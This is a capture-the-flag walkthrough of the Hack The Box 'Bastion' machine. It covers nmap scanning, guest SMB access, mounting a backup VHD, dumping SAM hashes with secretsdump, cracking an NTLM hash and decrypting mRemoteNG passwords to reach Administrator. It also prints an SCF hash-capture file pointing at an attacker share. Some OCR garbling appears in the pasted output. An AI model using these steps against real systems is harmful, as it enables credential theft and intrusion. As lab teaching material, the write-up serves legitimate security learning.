

10.10.10.134

Machine IP



This was an amazing box that really showed the importance of using google. It was unique in that it did not have a web server port. The great thing about this box is that it was very realistic, as intended by the author **L4mpje**. Let's get right into it!

As usual, I added the ip to my /etc/hosts file and called it bastion.htb. Afterwards, I ran the normal **nmap -sC -sV -oA nmap/nmap bastion.htb** which revealed many ports. Just to be sure that I had all the ports, I ran **nmap -p- --max-retries=0 bastion.htb**. Note the max-retries flag which, when set to 0, performs the scan at it's quickest but most unreliable speed. This is because the max-retries flag is used to specify the maximum port scan probe retransmissions, and the less transmissions you send, the higher likelihood that you will have false negatives and positives. After scanning all ports, the following ports were revealed:

47001,49664,49665,49666,49667,49668,49669,49670. Due to this, I ran the thorough nmap scan once again (this time specifying the ports): nmap -sC -sV -oA nmap/nmap -p 22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 bastion.htb

PORT	STATE SERVI	CE VERSION			[10/17]
22/tcp	open ssh	OpenSSH for_Win	dows_7.9 (protocol 2	.0)	
ssh-ho	stkey:				
2048	3a:56:ae:75:	3c:78:0e:c8:56:4d:cb:1c	:22:bf:45:8a (RSA)		
256	cc:2e:56:ab:1	9:97:d5:bb:03:fb:82:cd:	63:da:68:01 (ECDSA)		
_ 256	93:5f:5d:aa:c	a:9f:53:e7:f2:82:e6:64:	a8:a3:a0:18 (ED25519		
135/tcp	open msrpc	Microsoft Windo	ws RPC		
139/tcp	open netbi	os-ssn Microsoft Windo	ws netbios-ssn		
445/tcp	open micro	soft-ds Windows Server	2016 Standard 14393	microsoft-ds	
5985/tcp	open http	Microsoft HTTPA	PI httpd 2.0 (SSDP/U	PnP)	
_http-s	erver-header:	Microsoft-HTTPAPI/2.0			
_http-t	itle: Not Fou	ind			
47001/tc	p open http	Microsoft HTTPA	PI httpd 2.0 (SSDP/U	PnP)	
_http-s	erver-header:	Microsoft-HTTPAPI/2.0			
_http-t	itle: Not Fou	ind			
49664/tc	p open msrpc	Microsoft Windo	ws RPC		
49665/tc	p open msrpc	Microsoft Windo	ws RPC		
49666/tc	p open msrpc	Microsoft Windo	ws RPC		
49667/tc	p open msrpc	Microsoft Windo	ws RPC		
49668/tc	p open msrpc	Microsoft Windo	ws RPC		
49669/tc	p open msrpc	Microsoft Windo	ws RPC		
49670/tc	p open msrpc	Microsoft Windo	ws RPC		
Service	Info: OSs: Wi	ndows, Windows Server 2.	008 R2 - 2012; CPE:	<pre>cpe:/o:microsoft:wind</pre>	dows
	(100)				
Host scr	ipt results:				
_clock-	skew: mean: -	10m49s, deviation: 34m3	7s, median: 9m09s		
smb-os	-discovery:				
05:	Windows Serve	er 2016 Standard 14393 (	Windows Server 2016	Standard 6.3)	
Comp	uter name: Ba	ISTION			
NetB	105 computer	name: BASIION\X00			
WORK	group: WORKGR				
Syst	em time: 2021	02-23115:54:13+01:00			
smb-se	curity-mode:	Base Points			
acco	unt_used: gue	st			
auth	entication_le	evel: user			
chal	tenge_respons	e: supported	+ + + + + + + + + + + + + + + + + + + +		
mess	age_signing:	disabled (dangerous, bu	t default)		
smb2-s	ecurity-mode:				

Looks like the high ports that the **nmap -p-** command found were of no importance. Looking at the results however, two ports in particular stand out. This Windows box is running ssh!? That's certainly strange as I have not seen any other Windows box with ssh (more on this later). The other port that stands out is port 445 (Samba a.k.a SMB which stands for Server Message Block), and it is configured to allow guest access. This seems like the most obvious attack vector, so let's see what we find.

## smbmap -H bastion.htb -u guest

[+] IP: bastion.htb:445 Name: unknown	
[\] Work[!] Unable to remove test directory at \\bastion.htb\Backups\GZHGUJOWDT, please remove mat	nuallv
Disk Permissions Comment	
ADMIN\$ NO ACCESS Remote Admin	
Backups READ, WRITE	
C\$ NO ACCESS Default share	
IPC\$ READ ONLY Remote IPC	

Again, two things in this output stand out. First of all, there is a **Backups** directory which we have READ and WRITE access to. The fact that we have WRITE access to this is a huge red flag! This means that we could drop a malicious SCF (shell command file) to potentially steal hashes from users who access this file. We can write a .scf file with the following contents:

[Shell] Command=2 IconFile=\\10.13.37.2\share\0xd4y.ico [Taskbar] Command=ToggleDesktop

Whenever a user browses to this file, Windows will attempt to authenticate to our share with the credentials of the user, meaning that we can capture these credentials (albeit the password is hashed). The fact that we have write access to a directory containing backups is especially alarming, as which users would normally access such a directory? Probably domain admins. There is an excellent article on this topic that I highly recommend you read (https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/). Anyways, this is most likely not intended by the author because Bastion is an easy box and there are no real users on the system to execute the .scf file (as this is just a box rather than a real attack).

The other thing that stands out is this smbmap message:

[\] Work[!] Unable to remove test directory at \\bastion.htb\Backups\GZHGUJOWDT, please remove manually

The smbmap tool knows that we have write access to **\Backups** because it was able to write to it. However, the fact that it was not able to remove it shows that this created directory could be a way for defenders to find out that someone may be up to something malicious. In a real

penetration testing environment, it may be more wise to use **smbclient -L -U guest bastion.htb** which lists the shares, but does not list the permissions:

<pre>[x]-[0xd4y@Writeup]-[- \$smbclient -L bast:</pre>	-/business, ion.htb -U	/hackthebox/easy/windows/bastion] guest
Enter WORKGROUP\guest's	password:	
Sharename	Туре	Comment
ADMIN\$	Disk	Remote Admin 9563
Backups	Disk	
C\$	Disk	Default share
IPC\$	IPC	Remote IPC
SMB1 disabled no work	kgroup ava	ilable

Ok, enough stalling. Let's just see what's inside this **\Backups** directory. I created a **/smb** directory on my machine (so that if I download a file it goes straight to the **/smb** directory) and connected to the SMB share:

## smbclient -U guest //bastion.htb/Backups

<pre>[0xd4y@Writeup]-[~/k</pre>	usiness/hac	kthebox/ea	asy/wind	dows/bast	ion/smb]		
—- \$smbclient -U guest //bastion.htb/Backups							
Enter WORKGROUP\guest	s password:						
Try "help" to get a li	st of possi	ble comman	nds.				
smb: \> dir							
•		D	0	Thu Feb	25 20:53:46	2021	
Support		D	0	Thu Feb	25 20:53:46	2021	
GZHGUJOWDT		D	0	Thu Feb	25 20:53:46	2021	
NCAPIWDRQM		D	0	Thu Feb	25 20:52:34	2021	
note.txt		AR	116	Tue Apr	16 11:10:09	2019	
SDT65CB.tmp		А	0	Fri Feb	22 12:43:08	2019	
WindowsImageBackup		Dn	Θ	Fri Feb	22 12:44:02	2019	
773586	7 blocks of	size 4096	6. 2763	146 block	ks available		

I downloaded the note.txt file using get note.txt and viewed it on my host machine.

This file is a hint that there is probably a large backup file somewhere in this SMB share. Let's keep enumerating! Eventually you'll find the following directory:

smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\> dir			
Dn 0 Fri Feb 22 12:45:32 2019			
Dn 0 Fri Feb 22 12:45:32 2019			
9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd An 37761024 Fri Feb 22 12:44:03 2019			🚊 GLFt: Carris
9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd An 5418299392 Fri Feb 22 12:45:32 2019			
BackupSpecs.xml An 1186 Fri Feb 22 12:45:32 2019			
cd113385-65ff-4ea2-8ced-5630f6feca8f AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7	7.xml An	1078 Fri Feb 22	12:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f Components.xml An 8930 Fri Feb 22 12:45:32	2 2019		
cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml An 6542 Fri Feb 22 12	2:45:32 2019		These Owene
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml	An 2894	Fri Feb 22 12:45:32	2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml	An 1488	Fri Feb 22 12:45:32	2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml	An 1484	Fri Feb 22 12:45:32	2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml	An 3844	Fri Feb 22 12:45:32	2019
cd113385-65ff-4ea2-8ced-5630f6feca8f Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml	An 3988	Fri Feb 22 12:45:32	2019
cd113385-65ff-4ea2-8ced-5630f6feca8f Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml	An 7110	Fri Feb 22 12:45:32	2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml	An 2374620	Fri Feb 22 12:45:32	2019
7735807 blocks of size 4096. 2763146 blocks available			

Incidentally, we know that there is probably a user named L4mpje on the system (it is always important to save information like this in a file where you keep your notes). Two files here stand out (first there were two ports that stood out, then two interesting things with the SMB share, now this...why are there always two things that stand out??). The **.vhd** (virtual hard disk) files are quite conspicuous; these files are absolutely massive! One is about 37MB while the other one is 5.4GB and are no doubt the backup files that the **note.txt** message was referring to. I foolishly downloaded both files and inspected them when I was first going through this machine, so let's see how to view these files without waiting a million years for them to finish installing.

The mount command does the trick. Running the command **sudo mount -t cifs** //bastion.htb/Backups smb/ -o username=guest we see the full listing of the directory Backups. The -t option for mount specifies the type of file share we want to mount. CIFS stands for Common Internet File System and is a dialect, or particular implementation, of the SMB protocol.

[\*]-[0xd4y@Writeup]-[~/business/hackthebox/easy/windows/bastion] \$sudo mount -t cifs //bastion.htb/Backups smb/ -o username=guest Password for guest@//bastion.htb/Backups: [0xd4y@Writeup]-[~/business/hackthebox/easy/windows/bastion] \$ls smb/ GZHGUJOWDT NCAPIWDRQM note.txt SDT65CB.tmp WindowsImageBackup

Note the strange directory names that smbmap created. Anyways, let's get right to the .vhd files.

[×]-[	-[0xd4y@Writeup]-[~/business/hackthebox/easy/windows/bastion/smb/Window	wsImageBackup/L4mpje-PC/Backup 2019-02-22 124351]
	sau *	
36876	9b9ctbc3-369e-11e9-a17c-806e6t6e6963.vhd	
5291308	08 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd	
4	BackupSpecs.xml privacy policy	
4	cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4	d5e-8b20-19adc95a34c7.xml
12	cd113385-65ff-4ea2-8ced-5630f6feca8f Components.xml	
8	cd113385-65ff-4ea2-8ced-5630f6feca8f RegistryExcludes.xml	
4	cd113385-65ff-4ea2-8ced-5630f6feca8f Writer4dc3bdd4-ab48-4d07-adb0-	3bee2926fd7f.xml
4	cd113385-65ff-4ea2-8ced-5630f6feca8f Writer542da469-d3e1-473c-9f4f-	7847f01fc64f.xml
4	cd113385-65ff-4ea2-8ced-5630f6feca8f Writera6ad56c2-b509-4e6c-bb19-	49d8f43532f0.xml
4	cd113385-65ff-4ea2-8ced-5630f6feca8f Writerafbab4a2-367d-4d15-a586-	71dbb18f8485.xml
4	cd113385-65ff-4ea2-8ced-5630f6feca8f Writerbe000cbe-11fe-4426-9c58-	531aa6355fc4.xml
8	cd113385-65ff-4ea2-8ced-5630f6feca8f Writercd3f2362-8bef-46c7-9181-	d62844cdc0b2.xml
2320	cd113385-65ff-4ea2-8ced-5630f6feca8f Writere8132975-6f93-4464-a53e-	1050253ae220.xml

When I was first going through this box, I mounted both the .vhd files, but the 37MB one is not interesting as it just has boot files. Let's mount the .vhd file and inspect its contents.

guestmount -a 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd -m /dev/sda1 --ro

~/business/hackthebox/easy/windows/bastion/mnt/



And we get a whole listing of files. At this point, I looked through a ton of data, but I couldn't find anything interesting laying around. However, there is still a way to extract credentials due to a huge oversight of the sysadmins. They accidentally backed up the files **SYSTEM** and **SAM** (Security Account Manager) located in /**Windows/System32/config**.

<pre>[0xd4y@Writeup]-[</pre>	~/business/hackthe	box/easy/windows/bastion/mnt	/Windows/System32/config]
🖵 \$ls -la  grep	-v "\."  grep -E "	SAM SYSTEM"	
-rwxrwxrwx 1 root r	oot 262144 Feb 2	22 2019 SAM	
-rwxrwxrwx 1 root r	oot 9699328 Feb 2	22 2019 SYSTEM	privacy practices, and how we're comm

So the note really wasn't kidding when it said to not transfer the entire backup file locally. A lazy sysadmin did not realize that he backed up even the **SAM** and **SYSTEM** file. THESE FILES ARE HIGHLY SENSITIVE!!! The SAM file is a database file that stores credentials of the local users. These credentials are hashed and encrypted by the system boot key which is located in **SYSTEM**. This means that if you have access to the **SYSTEM** file, then you can decrypt the credentials revealing their hashes.

We can use the **impacket-secretsdump** tool to extract hashed credentials. Let's copy these files to our root directory (/bastion) and continue with the command. **impacket-secretsdump -sam SAM -system SYSTEM local**  [0xd4y@Writeup]-[~/business/hackthebox/easy/windows/bastion] \$impacket-secretsdump -sam SAM -system SYSTEM local Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation [\*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f [\*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9::: [\*] Cleaning up...

Well, now we have the hash for the L4mpje user! Notice how Administrator and Guest have blank LM and NTLM hashes. This indicates that Administrator and Guest were most likely disabled when this file was backed up (even more evidence that this was probably backed up with the SYSTEM user), but this could be an old backup file and Administrator could have been activated since then. Anyways, let's copy the NTLM hash of L4mpje and crack it. hashcat -m 1000 26112010952d963c8dc4217daec986d9 /usr/share/wordlists/rockyou.txt

After about a minute, the NTLM hash is cracked revealing that L4mpje's password is **bureaulampje**.

## Tip:

Using Hashcat on a virtual machine is not recommended. Hashcat runs a lot quicker on your host machine.

Let's ssh into the box and hope that L4mpje has not updated his password since the .vhd file was backed up.

```
[0xd4y@Writeup]-[~/business/hackthebox/easy/windows/bastion]
_____$ssh l4mpje@bastion.htb
l4mpje@bastion.htb's password:
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
l4mpje@BASTION C:\Users\L4mpje>
```

It was expected that L4mpje did not change his password. Not because this is meant to be a vulnerable machine, but this is completely realistic. How often does a person change his password?

We can now grab user.txt, but how are we going to escalate to administrator? This is where having knowledge on the basic file system of Windows is useful. After a lot of enumeration, you will notice that there is a particular directory on this box which stands out on **C:\Program Files** (x86):

l4mpje@BASTION C:∖Program Files (x86)>dir Volume in drive C has no label.						
Volume Ser	ial Numb	er is OCB3	3-C487			
Directory of C:\Program Files (x86)						
22-02-2019	14:01	<dir></dir>				
22-02-2019	14:01	<dir></dir>				
16-07-2016	14:23	<dir></dir>	Common Files			
23-02-2019	09:38	<dir></dir>	Internet Explorer			
16-07-2016	14:23	<dir></dir>	Microsoft.NET			
22-02-2019	14:01	<dir></dir>	mRemoteNG			
23-02-2019	10:22	<dir></dir>	Windows Defender			
23-02-2019	09:38	<dir></dir>	Windows Mail			
23-02-2019	10:22	<dir></dir>	Windows Media Player			
16-07-2016	14:23	<dir></dir>	Windows Multimedia Platform			
16-07-2016	14:23	<dir></dir>	Windows NT			
23-02-2019	10:22	<dir></dir>	Windows Photo Viewer			
16-07-2016	14:23	<dir></dir>	Windows Portable Devices			
16-07-2016	14:23	<dir></dir>	WindowsPowerShell			
	0 Fi	le(s)	0 bytes			
	14 Di	r(s) 11.3	17.100.544 bytes free			

The mRemoteNG directory is not part of the default Windows build. Let's inspect it further.

l4mpje@BASTION C:\Program Files (x86)\mRemoteNG>dir Volume in drive C has no label. Volume Serial Number is 0CB3-C487

Directory of C:\Program Files (x86)\mRemoteNG

22-02-2019	14:01	<dir></dir>		
22-02-2019	14:01	<dir></dir>		
18-10-2018	22:31		36.208	ADTree.dll
18-10-2018	22:31		346.992	AxInterop.MSTSCLib.dll
18-10-2018	22:31		83.824	AxInterop.WFICALib.dll
18-10-2018	22:31	2	.243.440	BouncyCastle.Crypto.dll
18-10-2018	22:30		71.022	Changelog.txt
18-10-2018	22:30		3.224	Credits.txt
22-02-2019	14:01	<dir></dir>		cs-CZ
22-02-2019	14:01	<dir></dir>		de
22-02-2019	14:01	<dir></dir>		el
22-02-2019	14:01	<dir></dir>		en-US
22-02-2019	14:01	<dir></dir>		es
22-02-2019	14:01	<dir></dir>		es-AR
22-02-2019	14:01	<dir></dir>		Firefox
22-02-2019	14:01	<dir></dir>		fr
18-10-2018	22:31	1	.966.960	Geckofx-Core.dll
05-07-2017	00:31	4	.482.560	Geckofx-Core.pdb
18-10-2018	22:31		143.728	Geckofx-Winforms.dll
05-07-2017	00:31		259.584	Geckofx-Winforms.pdb
22-02-2019	14:01	<dir></dir>		Help
22-02-2019	14:01	<dir></dir>		hu
22-02-2019	14:01	<dir></dir>		Icons
18-10-2018	22:31		607.088	Interop.MSTSCLib.dll
18-10-2018	22:31		131.440	Interop.WFICALib.dll
22-02-2019	14:01	<dir></dir>		it
22-02-2019	14:01	<dir></dir>		ja-JP
22-02-2019	14:01	<dir></dir>		ko-KR
07-10-2018	12:21		18.326	License.txt
18-10-2018	22:31		283.504	log4net.dll
18-10-2018	22:31		412.528	MagicLibrary.dll
18-10-2018	22:31	1	.552.240	mRemoteNG.exe

Nothing in this directory looks out of the ordinary. In any case, we should look into this for multiple reasons:

- mRemoteNG is a tool for connecting and managing remote systems (protocols such as SSH, RDP, etc. are used).
- 2. mRemoteNG is not part of the default Windows build.
- **3.** This box is called Bastion, hinting at the possibility that this box is a bastion host. A bastion host allows external connections to a private network. Due to the increased probability of an attack on a bastion host, it must be hardened to withstand such attacks. As such, typically there are very few services running on a bastion host (in our case the bastion host is running SSH and an SMB share). Ideally, a bastion host acts as a jump server once a connection has been established to it (a jump server is used to access devices in a separate security zone). Essentially, this means after connecting to a bastion host, authorized users can have access to private instances located within the virtual private cloud (VPC). Think of a bastion host as a bastion is in real life (hence the name). You can walk up to the bastion, knock on the castle walls, but you are not allowed inside unless you are authorized. If you attack the bastion, you may be met with defensive fire.

## (BLACKLISTED!).



After a bit of googling, you will find a great article explaining the insecurity of mRemoteNG (<u>https://hackersvanguard.com/mremoteng-insecure-password-storage/</u>). The ConfCons.xml file located in **%AppData%\mRemoteNG** contains encrypted passwords for users on the system. Let's reveal the contents:



This password seems to simply just be base64 encoded, but when we decode it, we just get garbage:

This suggests that the password is most likely encrypted. Luckily, there are many different ways to decrypt mRemoteNG passwords (I used this tool on github:

https://github.com/kmahyyg/mremoteng-decrypt).

Using this tool and inputting the encrypted password of Administrator we get the credentials:

We can now ssh into Administrator and get root.txt!

<pre>[0xd4y@Writeup]-[~/business/hackthebox/easy/windows/bastion]</pre>
🖵 🗕 \$ssh Administrator@bastion.htb
Administrator@bastion.htb's password:
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
administrator@BASTION C:\Users\Administrator>cd Desktop
a paulical stone
administrator@BASTION C:\Users\Administrator\Desktop>dir Volume in drive C has no label. Volume Serial Number is 0CB3-C487
Directory of C:\Users\Administrator\Desktop
23-02-2019 09:40 <dir> .</dir>
23-02-2019 09:40 <dir></dir>
23-02-2019 09:07 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 11.317.460.992 bytes free

There were many things learned in this box. I really appreciate the work **L4mpje** did on creating this challenge. It was completely realistic, and I loved it beginning to end. Thanks also to you for reading my writeup, and I hope you learned from this box as much as I did!